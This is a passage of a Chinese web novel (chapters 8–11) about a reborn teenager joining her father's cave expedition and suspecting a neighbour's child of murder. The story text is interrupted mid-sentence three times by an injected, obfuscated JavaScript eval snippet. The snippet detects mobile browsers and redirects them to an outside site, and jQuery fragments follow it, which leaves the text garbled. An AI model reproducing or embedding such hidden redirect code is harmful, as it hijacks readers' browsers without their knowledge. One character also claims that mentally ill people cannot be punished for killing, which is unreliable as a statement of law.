老温小声和小温解释:“他们都不想和吕教授一辆车。” 小温恍然大悟,表示理解,她也不喜欢和过于严肃正经的人待在一起,太压抑了。 老温拉开车门上车,小温紧随其后,另一边没抢到位置的年轻男人不情不愿地走向领队车,能看得出来他是真的不想和吕瀚博一辆车。 年轻男人上了车,小温仔细打量着他,小温记得他是负责后勤的石广洋。 石广洋的年纪应该和大温差不多,二十五岁上下,性格内向,和吕瀚博这样威严的老教授同坐一辆车让他很拘谨。他一直端端正正坐着,仿佛现在不是坐在科考队的车上,而是坐在结构化面试的现场。 向导是个三十岁上下的男人,名叫程诩,穿着很普通的黑色短袖,长相也很普通。确认最后一人上车后,向导一踩油门发车了。 老温往石广洋的背上拍了一下,语气调侃:“放松点小洋,高考早过了。” 吕瀚博回头看了眼老温,他的目光里没带什么感情,仅仅只是看着。 小温的角度可以完整看到吕瀚博的脸,他长得凶,冷冰冰地看过来时让人感觉心里毛毛的。小温抖了抖,难怪其他人都不想上这辆车。 还好吕瀚博也只是看了一下,毕竟也不是第一天认识老温,都知道老温总是没个正行。 “抱歉,温前辈……”石广洋很紧张,一直拿余光瞟前座的吕瀚博,好像很担心惹怒他。 小温记得老温的同事多数都直接喊他“老温”,而石广洋对老温的称呼是“温前辈”。 倒是很符合石广洋这类人的性格。 老温:“早说了,叫我老温就行,我女儿都没你叫得尊敬。” 小温一巴掌拍在老温大腿上,语气和善:“老温你皮痒了我可以用拳头帮你挠挠。” 小温发现老温最近真的一有机会就调侃她,也不知道咋回事,可能皮痒痒了。 8. 到达目的地 “祖宗,你的拳头那是挠痒痒用的吗?你爹我可没有拳馆的沙包耐打。” “拳馆?小姑娘还是个练家子?”开车的向导听到这起了兴趣,也加入了讨论。 话题莫名其妙跑到小温身上了,石广洋看看老温,又看看小温,悄悄松了口气。 人们的关注会让他感到局促不安,如果可以的话,他更希望所有人都忽视他,让他静静待在角落里。 老温:“对,小时候问她想学什么,她说不知道等她好好考虑,我那时已经做好给她买乐器或者画具的准备了,结果某天去接她放学,她一见面就说她要学打架。” 小温还记得事情的起因,那时她八岁,班上有个小男生老扯她辫子玩,她生气了,和那个男生打了一架。 那个男生吃得多,长得壮实,比同龄孩子大一圈,而小温那时细胳膊细腿的,还是个小豆丁。 毫不意外,小温打输了。 当天下午老温去学校接小温,小温“噔噔噔”跑到爸爸的小电驴跟前,顶着一头乱糟糟的头发,仰头看老温。 周围都是孩子和家长们,小温见到老温说的第一句话就是:“我要学打架。” 八岁的孩子不知道太极拳、自由搏击、跆拳道这些名字,她只是很简单地说要“学打架”。 学会打架就能打赢所有想欺负她的人了,那时的她只是很单纯地这么想。 她想保护自己,也想保护别人。 老温没问小温的头发怎么回事,也没问她为什么突然要学打架,他只回了一个字:“好。” 第二天那个扯她辫子的男孩被他爸按着头过来和小温道歉了,男孩鼻青脸肿的,似乎被他爸打了一顿,也不知道是老温告的状还是班主任告的状。 几天后的周末,老温搭着小温去了一家武术馆,小温从小电驴上跳下来,抬头看那有些古朴的招牌。 那就是她习武的开端。 后来小温在教练的指导下养成了早睡早起多锻炼的习惯,身高也像一棵营养充足的水稻一样蹭蹭涨。 没有男生敢再欺负她了,扯她辫子前需要思考自己能不能打赢她。 “女孩子学点防身技巧挺好的。”向导说。 “是啊,”老温说着瞥了一眼旁边的小温,语气调侃,“学到现在成了家里的山大王,一个不高兴就对她老爹……疼疼疼,姑奶奶我错了,我错了!” 老温话说一半,小温掰过老温的脑袋,笑盈盈地用拳头夹他太阳穴。旁边的石广洋看傻了,默默摸上车门把手,仿佛随时准备跳车逃离“案发现场”。 “安静。”前座传来吕瀚博威严的声音,好像是嫌小温和老温太吵了。 老教授威严的声音总是让小温想起学校的教导主任,她听罢半点没犹豫,直接松手,老温像一个被小温掰过来的弹簧一样,直挺挺地弹回去了。 旁边的石广洋松口气,放下抓着车门把手的手。 不能闹腾了,小温感觉憋得慌,越发觉得其他人争抢第二辆车是很明智的选择,要是在第二辆车上,或许已经和车上的科考队成员闹成一片了。 就这样安静开过不知道多少个弯,向导说话了,他说:“好了,从这走小路上去就是目的地了。” 小温扒着车窗一看,荒山野岭的,下车再一看,眼前是一条蜿蜒向上的小路,远处是连绵不绝的青山。 小温从小在城市长大,外婆家虽然在乡下,但没有这么多山,所以她还是第一次见到这样的场景。 远处有座高耸入云的山峰,山腰上环了一条云做的衣带,头顶飞过一群不知名的鸟类,小温仰头看鸟,想起了何景澄。 她掏出手机拍了一张群山的照片,发给何景澄,何景澄没回,估摸着正蹲在哪个角落拍鸟呢。 两辆车的人纷纷下车,有人打开后备箱拿出一堆器械和设备。 这里距离考察地还有段距离,车没法开上山,只能用最原始的人力搬运设备。 整个科考队加上小温共十人,四女六男,多数是青壮年,此时在向导的带领下纷纷合力将设备扛上山。 小温力气大,也出力帮忙了,众人很自觉地排起长队,顺着小路爬上山。 小温一路上都在四处张望,她对周围的环境很感兴趣,这里有很多她没见过的植物,还有昆虫。她甚至还在一片不知道什么植物的叶子上,看见一条盘起来的竹叶青。 天气炎热,等到了目的地,一行人都汗流浃背了,好在需要搬上山的设备不算多,不用再跑一趟。 目的地是一个地下溶洞,洞口被杂草掩盖,小温放好东西后就在一旁看老温的同事清理溶洞口。 这是科考队第二次来这个地下溶洞,只不过上一次来的不是这批人。老温说上次来的那帮人主要考察地形,这次主要考察水文,需要下水进行采样。 “嘿,累吗?”老温不知道什么时候凑过来了,递给小温一瓶矿泉水。 “不累。”小温接过矿泉水,不管累不累她都要说不累,少年人有少年人的倔强。 小温拧开瓶盖,咕嘟咕嘟喝了半瓶,兜里的手机响了,小温掏出来一看,是何景澄的消息。 【何景澄】:抱歉,刚刚在拍白鹡鸰跑步。 【小温】:跑步? 小温有些疑惑,鸟不是飞的吗? 语言难以解释,何景澄发来了一小段视频。他刚刚拍完,来不及把视频导入手机,直接用手机录下相机里的视频。 视频有些模糊,但是能看到一只黑背白腹、胸口一撮黑毛的小鸟在地上高速行走。 它跑一段走一段,走的时候头一点一点的,停下来的时候会点几下尾巴。它跑起来时甚至看不清脚是怎么迈的,像一个移动的大汤勺。 还真是跑步。 而且…… 【小温】:跑得好快! 小温感觉自己要被何景澄带入观鸟的坑里了,看到这些活泼灵动的小鸟确实会让人感觉心情很好,很适合给卧病在床的人解闷。 【何景澄】:我还在外边,晚上再跟你分享其他照片和视频。 【何景澄】:你们到目的地了吗? 【小温】:到了。 小温端起手机拍了一张溶洞口的照片,刻意避开了人,她把照片发给何景澄。 【何景澄】:注意安全。 【小温】:好。 小温和何景澄相处下来,对他的印象就是很普通的、有点好心的温柔男生,有时会忘记他的学神身份。 这也挺好,小温觉得加上身份的枷锁会把两个人隔得很远,现在这样像朋友一样就挺好的。 …… 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904007|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温这边吭哧吭哧帮科考队打杂,逆转空间内大温在尝试呼叫系统。 大温有些事想问系统,也不知道是不是因为系统故障还没修好,最近呼叫十次有九次无响应。 大温有些不耐烦了,如果这个系统能打分,她现就就要打零分,再写八百字的小作文言辞激烈地控诉系统的恶行。 但现在大温找不到评分入口,她只能耐着性子又尝试了一次。 脑中响起熟悉的电流声,这次终于成功了。 【系统】:您好,宿主。 有段时间没听到系统的声音了,它的声音依然毫无感情。 “我为什么会重生?”大温怕系统突然掉线,连埋怨都不埋怨了,开门见山道。 【系统】:有人向重生系统发出请求,希望帮助您重生。 “有人?谁?” 大温蹙眉,上一世她的身边人几乎死绝,她实在想不到会有谁替她向系统求助。 【系统】:您没有权限查阅。 “ta付出了什么代价让我重生?” 【系统】:您没有权限查阅。 “系统故障是怎么回事?” 【系统】:您没有权限查阅。 大温:“……” 她现在很想一拳头砸在系统身上,但是系统没有实体,现在貌似还寄居在她脑子里,她打不着。 看样子不管接下来问什么,系统也只会重复这句话了。 大温抱臂坐在电脑前,房间有些昏暗,电脑光打在她脸上,把她的脸照得惨白,就像电视剧里的反派一样。 重生后的每一天都很幸福,太幸福了,让大温都想忘记前世种种,重新来过了。 小温也希望大温能够重新开始,只是大温只要记得前世的事就很难重新开始。 记忆是构成一个人的重要部分,那些痛苦的记忆塑造了现在的大温,早就成了她密不可分的一部分。 大温从兜里摸出烟盒,这次小温不在,她可以久违地抽一根烟。 打火机“咔哒”一声窜出火苗,点燃了烟草,想起了前世死前的回忆。 上一世大温坠楼前,曾收到一条陌生号码发来的短信,让她到一栋废弃大楼的天台,那里有秦女士的踪迹。 那是一栋烂尾楼,在市郊,人烟稀少,基本没人会往里走,很适合杀人或被杀,死在那里都得几天才被发现。 这是很简单的陷阱,大温毫不犹豫上钩了。 或许是不想放过任何可能,心中期待着秦女士真的在那里,又或许她只是很单纯的累了,不想挣扎了。 大温爬上那座废弃大楼,走到了护栏边。 随后发生的事毫不意外,大温被人一把推下楼,最后也不知道是谁推的她。 大温只记得风在耳边呼啸而过,她看着地面越来越近,慢慢闭上双眼。 坠亡后她就重生了,这简直是一份惊喜,就像是上帝的垂怜。 上帝的垂怜?打几巴掌给个甜枣吗?真好笑。 更好笑的是大温真的有一瞬间贪恋这个甜枣。 “我还有最后一个问题,”大温右手夹烟,左手搭在电脑桌上,手指的指甲尖轻轻敲击桌面,“解决事件后会有系统奖励吗?” 这次系统回答了,只有一个字。 【系统】:有。 9. 安全员卢旗旗 老温遇险是在第三日,第一日小温的任务主要是当个路障,当一个偶尔帮忙打杂的路障。 捏着两根试管,小温路过吕瀚博身边,他正在和另外两位女性科研人员讨论一些小温听不懂的学术问题。 小温好奇,歪头听了两耳朵,一堆没听过的专有名词连珠炮地往外蹦,听得她越来越困,赶紧走开了。 老温和另外两个同事穿好装备准备下洞,小温知道不能打扰老温工作,她四处张望,想找个闲空的人玩玩,张望了一圈,终于看到了蹲在一棵树旁边的石广洋。 都说i人是e人的玩具,小温对石广洋还挺感兴趣的,她悄悄凑过去,石广洋低头顶着地面,没注意到她。 顺着石广洋的视线,小温看见了石广洋一直在看着的东西——一个戚风蛋糕……不对,一个像戚风蛋糕的蘑菇。 在落叶和枯枝中,一个拳头大小的蘑菇静静坐在那,它的身形圆润,整体呈浅棕色,像一个去了外层的纸皮的小蛋糕。 怪可爱的。 小温:“这是什么蘑菇啊?” 小温突然说话,把石广洋吓了一跳,石广洋“噌”一下站起来了,看到是小温,送了半口气。 石广洋想说话,但是一时间不知道怎么称呼小温,支支吾吾了半天:“呃……那个……温……” 小温很贴心地提醒道:“叫我温流照就行。” “……好,我叫石广洋。” “这是秃马勃。”石广洋自我介绍完,还没忘记回答问题,他捡了根枯枝,在蘑菇脑袋上轻轻敲了两下,发出两声有些空的声音,“夏季多雨,这里有很多有趣的蘑菇。” 石广洋在说起蘑菇的时候露出了一个弧度很小的微笑,小温感觉要是可以的话,他会更愿意和蘑菇生活,而不是人类。 小温给蘑菇拍了张照,发给何景澄。 【小温】:野生的蛋糕。 何景澄这次回得很快,应该是刚好在看手机。 【何景澄】:秃马勃? 【小温】:可恶,你怎么也知道。 何景澄发了个雪鸮大笑的动态表情包,小温被逗乐了,她轻笑一声才把手机收回去。 小温问石广洋:“你很喜欢蘑菇吗?” 石广洋:“嗯,植物也很喜欢。” 小温:“那你为什么没有成为一个植物学专家啊?” 石广洋捏着枯枝的手攥紧,纤细的枯枝发出清脆的一声细响,断了。 他沉默几秒,头顶的蝉叫了,叫得很响,像是在填补这份沉默。 受老温的教育影响,小温说话一向直白,很多时候想什么就说什么了,此时话一出口才意识到自己的问题有点冒昧了。 小温有些尴尬地挠挠脸,正在思考如何补救,石广洋再次开口了。 石广洋:“家里人不让学。” 意外又不意外的回答。 人的性格在一定程度上反应了ta的原生家庭,这是大温告诉她的。小温没有大温那么见多识广,她只能借助一些模糊的感觉去猜测。 石广洋这样怯懦的人,多数会有一个家教严格的家庭。 父母以“为你好”为由,剪去了ta所有的枝丫,只留下他们认为好的,最后一个漂亮的盆栽完成了,没人会在意ta的根系如何受压迫。 小温很庆幸自己出生在一个开明的家庭,在她提出要“学打架”的时候,老温没有纠正她、逼迫她去学更“适合女孩子”的课程。 不管小温想学什么,想成为什么样的人,只要不是违法背德的,老温和秦女士都无条件支持,她的父母像期待开启一个盲盒一样,期待着她自由成长。 小温:“你没有试着反抗吗?” 石广洋讷讷看着小温,好像不理解反抗是什么意思。 小温挠头,她现在有点像一个在海滩边发现搁浅的鲸鱼的人,费老鼻子劲还是推不动鲸鱼。 她现在无比想念大温,大温可比她会说话多了。 小温正在组织语言,身后有人轻手轻脚走来。 “嘿!”一个女人走来,在石广洋肩上拍了一下,石广洋被吓了一跳,直接坐地上了。 石广洋瞪大眼睛看着这个女人:“卢卢卢前辈——” 这个女人就是之前在集合地点回头,想和小温搭话的那个女人。 小温打量着这个女人,她很年轻,约莫二十七八,长发盘起扎了个丸子头。 小温仔细回忆这个女人的身份,队中三位女性有两位是核心科研人员,那两位都是四五十岁的女教授,只有一个年轻一些,是负责器械设备的安全员卢旗旗。 卢旗旗笑嘻嘻地和石广洋打招呼,石广洋虽然被吓了一跳,但是很快缓过来了,可能是经常被这样逗着玩。 在小温看卢旗旗的时候,卢旗旗也注意到了小温。 卢旗旗向小温招招手:“嗨,小姑娘,我叫卢旗旗,叫我旗旗姐就好。” 小温:“你好啊旗旗姐,我叫温流照,你就叫我温流照吧。” 小温喜欢她的名字,秦女士给她取了个很好听的名字,她喜欢别人叫她名字。 卢旗旗:“好,温流照,你们蹲在这里做什么啊?” 小温指了指地上的蘑菇:“看蘑菇。” 卢旗旗弯腰,看到那颗小蘑菇之后眼睛亮了:“哇!好可爱!” 卢旗旗蹲到了小温身旁,和石广洋相反,卢旗旗的性格活泼开朗,小温很喜欢和这样的人相处,感觉比较轻松。 石广洋全程都没有再说话,他安静地在一旁装蘑菇。 卢旗旗侧头看向小温,问:“你多大了啊?” 小温:“十五。” 卢旗旗:“哇,比我想象的要小一些,你长得很高啊。” 小孩都喜欢被大人承认自己成熟,小温也不能免俗,她高兴地扬起嘴角,要是她有尾巴,此时能翘上天去。 小温:“哼哼,我还能继续长,等我长得比老温还高了,我就可以一手抱老温,一手抱秦女士了。” 卢旗旗:“秦女士是你妈妈?” 小温:“嗯,秦女士是家里的老大,老温是我的小弟。” 老温说秦女士是家里最辛苦的人,为了生下小温,她受了很多苦,所以小温要尊敬地称呼她为“女士”。 秦女士应该是家里的老大,这是理所应当的。 树林里有噪鹃“哦啊——哦啊——”地叫个不停,一声比一声急促,一声比一声响亮。 小温抬头望了一圈,什么鸟影也看不见。 据说观鸟人的日常就是这样,只闻其声不见其鸟。 不远处有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904008|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在喊卢旗旗,她应了一声,小跑过去。石广洋的偷懒时间也结束了,他本来只是想一个人蹲在角落补充社交能量,没想到被打扰了,能量没充满,看起来没什么精神。 小温继续帮忙做一些打杂的活计,有时候会有人过来逗逗她,或者是教她一些科考知识。 科考队的成员大部分都挺喜欢小温的,对小温很友善,小温也很喜欢他们。 就这样到了下午六点,树林里的噪鹃终于不叫了,大温睁眼了。 地下溶洞里的成员陆陆续续爬出来了,老温橙黄色的防护服蹭了好多泥沙,上来后一见大温就笑,傻乎乎的。 大温刚刚“上线”,这次见到了好多上辈子没见过的人,信息量有点大,让她接收记忆的时候缓了好一会。 今天结束得早,石广洋联系了山下村庄的村长,晚餐可以去村长家吃。 一行人沿着先前留下的道标返回山下,找到停在山下的车,开车返程。 村长是位四十多岁的女人,她很热情地招待科考队,好酒好菜摆上桌,还收拾了几间空屋给他们住。 大温看到两桌农家菜眼睛都亮了,看村长的眼神好像看见了妈。 这顿饭吃得香,大温唯一遗憾的是没能喝到酒,毕竟现在用的是小温的身体,未成年不能喝酒。 房间有限,大家只能挤一挤,科考队的成员们都没什么怨念,他们这些人风餐露宿习惯了,有床睡怎么也比在野外搭帐篷好。 大温和卢旗旗以及另外两位女教授睡同一间屋子,两位女教授都是比较沉稳的性格,只是偶尔和大温说几句话。 卢旗旗很开心,她很喜欢大温,把大温当成妹妹。 大温感觉有点头疼,说实话她对卢旗旗的感情有点复杂。 前世老温死后,告知秦女士死讯的人就是卢旗旗。 大温还记得那一天,她刚买了菜回来,准备做好饭菜等秦女士下班回家,刚把菜放桌上,兜里的手机响了。 秦女士很难得地给大温打了电话,她是个话很少的人,做得永远比说得多。 大温接起电话,电话那头沉默了很久,她听到了女人的抽泣声。 秦女士哭了。 她说老温死了。 大温听不懂,老温死了是什么意思? 大温想问问这是什么意思,又是什么新的玩笑吗?但是她没有问出口,她浑身僵直,手脚麻木,像是有微小的泡泡在四肢的皮肤下炸开。 当天秦女士订了车票,坐票卖光了,只剩下站票了,母女二人沉默地站在有些嘈杂的车厢中。 秦女士的手很冷,太冷了,好像失去了一半的生命。大温握住秦女士的手,感觉到她在轻轻发抖,她变得像一只轻飘飘的风筝一样。 大温比秦女士暖一点,她想给秦女士暖暖,也想抓住秦女士这只飘飘荡荡的风筝,于是她抱住了秦女士。 车厢里很多人,又好像只有她们两个人。 大温不是第一次出远门,这一次也不是走得最远的,但这一次是最疲惫的。 见到老温遗体的时候已经是深夜,那是大温第二次经历亲人离世。 卢旗旗一直守在大温的遗体旁边,她的眼睛哭肿了,一见到大温和秦女士就跪下了。 卢旗旗:“我对不起你们,都是我的错……” 10. 窥视 卢旗旗的声音很哑,大温下意识想把人扶起来,双手微微抬起又放下。 大温发现自己没有想象中的那么大度。 警方初步调查后排除他杀,最终判定这是一场意外。 老温下水时遇到意料之外的暗流,他立刻顺着引导绳返回地面,然而水流湍急,引导绳在石壁上摩擦断裂,他没能返回地面。 卢旗旗第一时间发现不对劲并展开救援,但是太迟了,老温被捞起来的时候氧气早就耗尽,他死了。 卢旗旗是负责检查设备,保障全队安全的,她很自责,要是她仔细一点,再仔细一点,她的同事就不会死去。 带队的吕瀚博向大温母女表达了遗憾,秦女士始终沉默着,她本来就话少,现在更是成了一尊不会说话的石像。 确定为意外身亡后,老温的遗体被送去殡仪馆了。 卢旗旗把那根断裂的引导绳交给大温,大温拿在手里,沉甸甸的。 这根绳子本来应该保障老温的安全,最后却杀了他。 第二天,老温火化了。 工作人员把一个小陶罐交到秦女士手里,秦女士单手抱着那个小小的陶罐,另一只手抚摸着陶罐的盖子,就像在抚摸爱人的头颅。 秦女士说话了,她说了从来到这个城市后的第一句话。 她说:“温君,你怎么变得那么小了。” 秦女士抱紧了自己的爱人,大温抱住了自己的母亲。 “温流照?”卢旗旗的声音把大温拉回现实,一只手贴到了大温的额头,“你看起来脸色很不好,生病了吗?” 卢旗旗的表情有些担忧,另外两位女教授刚好洗漱完回屋,其中一位问道:“着凉发烧了?” 另一位也跟着问道:“哪里不舒服吗?” “没事。”大温对着关心她的三位大人微笑,她的手在微微颤抖。 过去这么久了,那时的痛苦还很清晰。 大温不恨卢旗旗,但也不喜欢她,她不是圣人,即便当年的事并不完全是卢旗旗的过错,她也不能对卢旗旗全然心无芥蒂。 大温早早躺下,久久难眠,她心里还惦记着系统的事。 系统说每一个事件结束都会有奖励,大温还没来得及问怎样才算结束,脑中响起老电视信号不好的沙沙声,系统又掉线了。 大温:“……” 大温总觉得这个系统好像跟她隔了一个星球,老是信号不好。 算了,靠非人类不如靠自己,大温决定自己思考。 先前花奶奶平安活过了死亡时间,大温以为事件一结束了,但是系统没有给奖励,说明这件事没有结束。 当然,也有可能是系统给了奖励没有通报,它不靠谱也不是一天两天的事了。现在想想,这个系统最靠谱的时候还是刚重生的那一两天,还会指导她怎么使用逆转空间。 假设事件一并没有结束,那么,怎样才算结束? 按照常理推断,如果是刑事案件,在警方抓获真凶时事件就结束了。如果是推理小说,在侦探找出真凶时事件就结束了。 大温不知道自己算什么身份,高中生?重生者? 自己结束一个事件需要做什么? 假设没有真凶,找到真相,救下死亡的人,这个事件就应该结束了。 为什么没结束?因为没有找到真相吗? 大温感觉有一只手抚摸过她光滑的大脑皮层,突然觉得自己的脑子可能还没那千呼万唤始出来的破系统好使。 黑暗中大温一巴掌拍在脑门上,清脆的响声在安静的房间里显得很突兀。 大温:“……” 坏了,忘记这里不是自己房间了。 大温感觉身侧的人动了,卢旗旗和大温睡同一张床,她凑过来有些忧心地小声问道:“怎么了?” 大温:“有蚊子。” 总不能说感觉脑子不好使想拍拍吧。 乡下的蚊虫虽多,但屋内点了蚊香,其实并没有什么蚊子。 大温侧躺在床上,此时还能听见屋外有蟋蟀在叫,有点吵。卢旗旗打了个哈欠,继续睡了。 另一张床上的两位女教授翻了个身,不知是不是拍得那两下起作用了,大温脑中灵光一闪,想到了楼道内那只窥视的眼睛。 花奶奶出事的那天,小温看见邻居的小孩在透过门缝窥视她们。 这件事单独拎出来并不可疑,在大温的世界里,那个小孩从小就怪,但是除了怪以外好像也没做过什么事。 如果把这个小孩和花奶奶摔下楼梯这件事结合起来……大温有了个很可怕的假设。 假如……假如那个小孩实际上做了坏事,但是一直没被发现呢? 大温感觉背后的汗毛一根根站立,在炎热的七月份里感觉到了刺骨的寒意。 她想到了为数不多和那个小孩打照面的场景,骨瘦如柴的小男孩可能会出现在小区里的任何一个角落。 滑滑梯的下方,楼梯拐角处的平台,微微开启的防盗门内……一个瘦小的小男孩睁着黑漆漆的眼睛,一眨不眨地看着来人。 是他! 一定是他! 大温的脑子不太好,想不通其中的逻辑,但是直觉在告诉她,凶手就是那个小男孩。 花奶奶的危机还没有解除,事件一还没有结束,所以系统没有奖励提示。 大温眼前豁然开朗,先前的异样都有了解释。 下午六点左右,那个小男孩一直在家门口看着。大温一直对花奶奶死亡的时间感到困惑,如今看来,可能是前世的小男孩和花奶奶说了什么,导致花奶奶饭后匆匆出门。 随后他将花奶奶推下楼,并伪装成意外摔倒。 这个小区比较老,只有一楼有监控,几年后才应业主们的要求大规模安装监控。 没有监控,没有目击证人,也没有人会相信一个不满十岁的小孩会杀人。 那个小男孩,他很聪明,也很危险。 怎么保护花奶奶? 大温躺在结实的木板床上,不自觉地啃着大拇指指甲。 不可能指着小男孩的头说他是未来的杀人犯,她没有证据,现在一切都是她的猜测。 而且这也无法阻止小男孩,大温怀疑这个小男孩长期生活在那样的家庭里已经有精神疾病了。精神病要是真想杀人,直接拿把刀冲出去就行,精神病杀人不犯法。 根本防不胜防,除非让花奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904009|176769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶一家搬家,但这样也只保护了花奶奶一个受害者,没有解决根本问题。 只能许愿小男孩没有精神病了,悲观点想,这样他杀人起码会被抓。 大温感觉一个头两个大,要是能武力解决就简单多了,不管三七二十一,绑起来邦邦两拳,让他看看自己惹到了什么人。 大温轻手轻脚下床,乡下的木板床并不结实,稍微挪动一下就会发出“吱呀”的响声。 其他三人都已经睡着,工作的牛马和无所事事的高中生不一样,忙了一天,两眼一闭就睡着了。 大温上过班,知道她们工作一天很累,所以尽量不吵醒她们。 在一切发生之前,大温能做的很少,她想和留在家里的秦女士说一声,尽快在家门口安装监控。 大温拿了手机摸黑溜出房间,客厅没有开灯,村里人睡得早,大温打开手机手电筒走向大门。 村长家的大门是二开合的,内侧是金属锁,大温只在外婆家见过这种门。她拧开门锁,门外是村长家的院子,她轻轻推门走出。 “汪!呜——汪汪!” 院子的角落里突然传来警惕的犬吠声,在寂静的院子里显得很突兀,大温被这声音吓了一跳,关门时过急,“哐”一下夹到手了。 “痛痛痛!”大温捂着手指小声怪叫,愈发觉得自己倒霉了。 村长怕狗误伤科考队,院子里的大黄狗早就被拴起来了,只是嘴巴没封上,见人还是会叫。 今天月亮很亮,大温快步走到院门口,夜里院子的大门是锁着的,她就这样蹲在紧闭的大门口前拨通了秦女士的号码。 三声铃响过后,电话被接通,另一头传来秦女士一如既往平静无波的声音:“喂?” 大黄狗还在叫,大温想尽快回屋,她直截了当地说:“秦女士,帮我留意一下隔壁的那个小男孩,顺便在家门口安个监控。” 秦女士:“发生什么了?” 大温:“我不知道我有没有猜错,我感觉那个小孩想害花奶奶。” 秦女士沉默片刻,她有挺多疑问的,但是她没有问,只是轻声回答:“好。” 交代完事情,大温本该挂断电话,她握着手机迟疑了片刻,并没有挂断电话。 大温接着和秦女士闲聊:“秦女士,我在外边玩得很开心,我遇到了新朋友和很多新奇的植物。这里的村庄人挺好,村长给我们准备了好多好吃的,还让我们住她家里。” 大温絮絮叨叨说起自己在这边的见闻,虽然看不见秦女士的脸,但是大温能想到她的表情,她大概会露出一个浅浅的笑容。 “有机会我想和村长请教一下,她的卤猪蹄做得好好吃,软烂入味,我学了回去做给你尝尝。” “不过还有好几天呢,第一天才刚刚结束。哎呀,不行了,本来想着快点说完回去睡觉的,你听,村长的狗一直在叫,我怕把大家吵醒了。” 大温:“晚安,秦女士。” 秦女士:“嗯,晚安。” 大温有些不舍地挂断电话,身后的大门“咔哒”一声开了,大温蹲在地上和来人打了个照面。 来人背着月光有点看不清脸,他对着地上的大温说:“你在做什么?” 11. 引导绳 “啊,啊?哦我打电话。”大温连忙从地上站起来,她听出来了,这是那个吕瀚博的声音。 吕瀚博大晚上出去做什么? 大温现在对所有人都带着怀疑,总觉得每个行为奇怪的人都要害她和老温。 吕瀚博没说什么,径直走回屋,不知道为什么,他一进来院里的大黄狗就不叫了。 大温感觉自己被狗针对了,怎么就对她叫。她跟在吕瀚博后边回屋,躺回床上的时候已经将近十一点。 回到逆转空间就见小温搬了张板凳坐在贝壳屋门前,这次的深海升级了,范围更大鱼类也更丰富,甚至海水鱼和淡水鱼都有。 大温心不在焉地拔了根海草拿在手上,她踏过几个蚌,走到了贝壳屋。 小温早就看见大温了,她有些奇怪地问:“今天怎么睡那么晚?” “唉。”大温叹气,把海草围在脖子上当围巾,“我之前可能想错了,花奶奶的事可能不是意外,是谋杀。” “你说什么——”小温噌的一下站起来,双手抓住大温的肩膀,“谋杀?谁?” 大温和小温解释了自己方才想到的事,一只虎鲸幼崽路过贝壳屋,对着屋里的大温小温翻了个跟头。 可惜两个人类的注意力并不在它身上,它看着屋内面色凝重的两脚兽一会,发现没人理它,甩甩尾巴悠悠然游走了。 小温:“我看我还是找个机会把那小孩套起来打一顿好了。” 大温提醒道:“小温同学,现在是法治社会。” 小温撇嘴,像一个漏气的气球一样瘪下去了。 小温泄气时,大温抬起右手,两指按在太阳穴上,再次呼叫系统,这次很意外地有回应。 【系统】:您好,宿主,重生系统故障,正在维修,暂时无法响应。 大温:“……” 拳头硬了。 小温疑惑地看着大温,大温脖子上还挂着一根长溜溜的海草,摸样有点滑稽。 小温看她攥紧拳头,过了会儿又松开,在屋子里转了几圈,最后搬了张板凳和小温一起坐在门口看海。 花奶奶的事需要等她们回家才好解决,现在急也没用,不如调整好心情应对接下来的事件二。 贝壳屋的整体就是一个巨大的空心河蚌,门就是河蚌张开的嘴,内部空间很大,大约七八十平。 海水不会进入贝壳屋内部,河蚌的开口处像是有无形的屏障,隔绝了海水。 远处有鲸鱼的鸣叫声,成群结队的沙丁鱼游过贝壳屋的门口,大温很难得地感觉到了治愈。 其实,大温还挺感激系统故障的,因为故障,她没有像一般的重生者一样,直接占据过去的自己的身体。她见到了十五岁的自己,见到了小温,她和小温成为了特别的朋友。 也因为故障,系统替大温激活了逆转空间的权限,她可以见到所有她想看见的风景,可以得到现实中她无法得到的东西。 要是能和小温一起,一直躲在这个空间里就好了。 不用面对那些潜在的危险,不用担心身边随时可能有人死亡。 就这样静静看天,看海,看这童话一般的美好世界。 …… 当然,一直躲在逆转空间里是不可能的。 第二日的科考很平静地度过了,很快,第三日来了。 小温是个活泼可爱的少女,经过两日的相处,她已经和大多数科考队队员混熟了,其中混得最熟的应该是卢旗旗。 小温想着,卢旗旗是安全员,跟她混熟了之后好方便大温去检查引导绳。 大温说了,小温只需要在第三日清晨时睡个回笼觉,大温就可以在小温时间内活动。大温很熟悉那根引导绳,让她去检查再合适不过。 计划顺利进行,大温睁开眼,她原本还在担心小温会睡不着,还好小温睡眠质量一向很好,想睡就睡,想醒就醒,跟身体里有开关一样。 大温走出大门,看着久违的熹微晨光,心里有一种夜行动物见到光的奇妙感觉。 